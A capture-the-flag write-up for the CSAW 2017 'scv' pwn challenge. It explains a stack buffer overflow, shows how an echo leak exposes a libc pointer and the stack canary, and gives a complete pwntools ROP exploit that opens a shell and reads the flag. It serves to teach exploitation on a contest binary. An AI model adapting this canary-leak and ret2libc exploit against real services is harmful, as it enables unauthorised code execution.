CSAW pwn 100 scv

October 22, 2017

64 bit binary, buffer overflow, NX, ASLR, Stack Canary, info leak, ROP.

Overview

This was a 64bit binary with a buffer overflow vulnerability. ASLR was enabled and there was a stack canary, preventing straight stack smashing and ROP.

[+] Opening connection to pwn.chal.csaw.io on port 3764: Done
[*] '/home/hardware/csaw/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Interacting with the binary, we get a menu with 3 options.

-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>

If we feed some data, then review, something strange happens.

-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>> 1
-------------------------
[*]SCV IS ALWAYS HUNGRY.....
-------------------------
[*]GIVE HIM SOME FOOD.......
-------------------------
>>AAAAAAAAAAAAAAAAAAAAAAAAA
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>2
-------------------------
[*]REVIEW THE FOOD...........
-------------------------
[*]PLEASE TREAT HIM WELL.....
-------------------------
AAAAAAAAAAAAAAAAAAAAAAAAA
@

Review echoes back our data, plus a little extra. Lets find out what’s happening, and open the binary in a disassembler. I used binary ninja.

binary ninja

Aside from lots of C++, there’s the call to read(), which will read a buffer of size 0xf8. The buffer is then echoed back to stdout using puts() when option 2 is selected, and lucky for us, it leaks out some stack data along with it. Awesome.

Let’s take a look at the stack and see if we can find the canary. We can set a breakpoint just after the call to read, getting the address from binary ninja.

hardware@hardware:~/csaw$ LD_PRELOAD=./libc-2.23.so gdb ./scv 

gdb-peda$ b * 0x400cd9
Breakpoint 1 at 0x400cd9
gdb-peda$ r
Starting program: /home/hardware/csaw/scv 
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>1
-------------------------
[*]SCV IS ALWAYS HUNGRY.....
-------------------------
[*]GIVE HIM SOME FOOD.......
-------------------------
>>AAAAAAAAAA

Breakpoint 1, 0x0000000000400cd9 in ?? ()
gdb-peda$ x/24gx $rsi
0x7fffffffdf50:	0x4141414141414141	0x00000000000a4141
0x7fffffffdf60:	0x0000000000400930	0x0000000000400930
0x7fffffffdf70:	0x0000000000602080	0x00007ffff7a47299
0x7fffffffdf80:	0x0000000000000001	0x00007fffffffdfb0
0x7fffffffdf90:	0x0000000000601df8	0x0000000000400e1b
0x7fffffffdfa0:	0x00007fffffffe0b0	0x000000010000ffff
0x7fffffffdfb0:	0x00007fffffffdfc0	0x0000000000400e31
0x7fffffffdfc0:	0x0000000000000002	0x0000000000400e8d
0x7fffffffdfd0:	0x0000000000000000	0x0000000000000000
0x7fffffffdfe0:	0x0000000000400e40	0x00000000004009a0
0x7fffffffdff0:	0x00007fffffffe0e0	0x7daa48df7ad3b100
0x7fffffffe000:	0x0000000000400e40	0x00007ffff7a2d830
gdb-peda$ 

We can see our A chars written onto the stack. The canary is 0x7daa48df7ad3b100, it’s null terminated, and it will change every time you run the binary. While we are here, we can also notice what seems like a libc address! 0x00007ffff7a47299 is probably in libc, let’s take a look.

gdb-peda$ vmmap 0x00007ffff7a47299
Start              End                Perm	Name
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp	/home/hardware/csaw/libc-2.23.so

Wonderful. We have a pointer into libc. That means we can defeat ASLR!

But first, we need some capability to leak these values out the stack. I wrote my exploit with pwntools, and here is the leak() function.

def leak(scratch_size, bytes_to_leak, canary=False):
    p.recvuntil(">>")
    p.sendline("2")
    p.recvuntil("[*]PLEASE TREAT HIM WELL.....")
    p.recvline()
    p.recvline()
    p.recv(scratch_size)
    if canary:
        return u64(p.recv(bytes_to_leak).rjust(8, '\x00'))
    else:
        return u64(p.recv(bytes_to_leak).ljust(8, '\x00'))

So let’s leak the libc pointer first. We want to fill the stack with junk, write up until the address we want to leak off, then read the right number of bytes.

It takes 40 bytes to get there in this case, then we want to read off 6 more. Now we have the libc pointer! Time to do some arithmetic.

We can calculate the address to system(), then the offset between it and our pointer. This will let us find system() reliably on each run.

peda$ p system
$2 = {<text variable, no debug info>} 0x7ffff7a52390 <system>
Now we can always calculate the address of ```system()``` as ```PTR + OFFSET```.

Then we can calculate the base address of libc:

```python
libc_base = system - libc.symbols['system']

If we then grep the provided libc for /bin/sh, we can find it’s offset.

And in the binary:

binsh = libc_base + binsh_offset

Now we have everything we need in terms of libc. It’s time to leak out the stack canary.

We can use the leak function again, this time it is 0xa9 bytes to get the canary. Then we want to read 7 more bytes. The last byte of our junk will overwrite the \x00 of the canary, which will allow us to read it. Then we just add it back on again!

Now we have the canary, we have de-randomized libc, and we have the offsets for system() and /bin/sh. It’s time to setup a ROP chain and finish this challenge.

We want our rop chain to look like: SYSTEM --> /bin/sh --> POP_RET. So we only need the one gadget, we have the rest.

hardware@hardware:~/csaw$ ./rp-lin-x64 --file=./scv --rop=8 | grep "pop"

Finds us:

0x00400ea3: pop rdi ; ret  ;  (1 found)

Perfect!

Now we want our final payload and $rip overwrite to look like:

Here it is:

```python
feed("A"*0xa8 + p64(cookie) + "A"*8 + chain)

Pwntools has this great feature interactive(), which drops us into the shell we have worked so hard for.

hardware@hardware:~/csaw$ python solve2.py 
[+] Opening connection to pwn.chal.csaw.io on port 3764: Done
[*] '/home/hardware/csaw/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] LIBC pointer 0x7f2141210299
[+] LIBC system 0x7f214121b390
[+] LIBC base 0x7f21411d6000
[+] /bin/sh address 0x7f2141362d17
[+] Stack canary 0xb75ac910632bc500
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>
[*]BYE ~ TIME TO MINE MIENRALS...
[*] Switching to interactive mode

$ cat flag
flag{sCv_0n1y_C0st_50_M!n3ra1_tr3at_h!m_we11}
[*] Got EOF while reading in interactive
$  

And there we go!

Full exploit script:

from pwn import *
import sys
import binascii

#p = process("./scv", env={"LD_PRELOAD": "./libc-2.23.so"})
#libc = ELF('./libc-2.23.so')

p = remote('pwn.chal.csaw.io', 3764)
libc = ELF('./libc-2.23.so')

def feed(payload):
    p.recvuntil(">>")
    p.sendline("1")
    p.recvuntil(">>")
    p.sendline(payload)

def leak(scratch_size, bytes_to_leak, canary=False):
    p.recvuntil(">>")
    p.sendline("2")
    p.recvuntil("[*]PLEASE TREAT HIM WELL.....")
    p.recvline()
    p.recvline()
    p.recv(scratch_size)
    if canary:
        return u64(p.recv(bytes_to_leak).rjust(8, '\x00'))
    else:
        return u64(p.recv(bytes_to_leak).ljust(8, '\x00'))


def mine():
    p.recvuntil(">>")
    p.sendline("3")
    p.recvline()


'''
Leak a libc address
'''
feed("A"*0x27)
ptr = leak(0x28, 6)
# OFFSET = SYSTEM LOCAL - PTR LOCAL = 0x7ffff7a52390 <system> - 0x00007ffff7a47299
offset = 0xb0f7
system = ptr + offset
libc_base = system - libc.symbols['system']
binsh_offset = 0x18cd17 # grep libc-2.23.so
binsh = libc_base + binsh_offset
log.success("LIBC pointer 0x%x" % ptr)
log.success("LIBC system 0x%x" % system)
log.success("LIBC base 0x%x" % libc_base)
log.success("/bin/sh address 0x%x" % binsh)

'''
Leak the canary
'''
feed("A"*0xa8)
cookie = leak(0xa9, 7, canary=True)
log.success("Stack canary %s" % hex(cookie))


'''
ROP Chain
'''
pop_ret = 0x0000000000400ea3

chain = ''
chain += p64(pop_ret)
chain += p64(binsh)
chain += p64(system)

feed("A"*0xa8 + p64(cookie) + "A"*8 + chain)

p.recvuntil('>>')
p.sendline('3')
p.recvuntil('[*]BYE ~ TIME TO MINE MIENRALS...')
p.interactive()
p.close()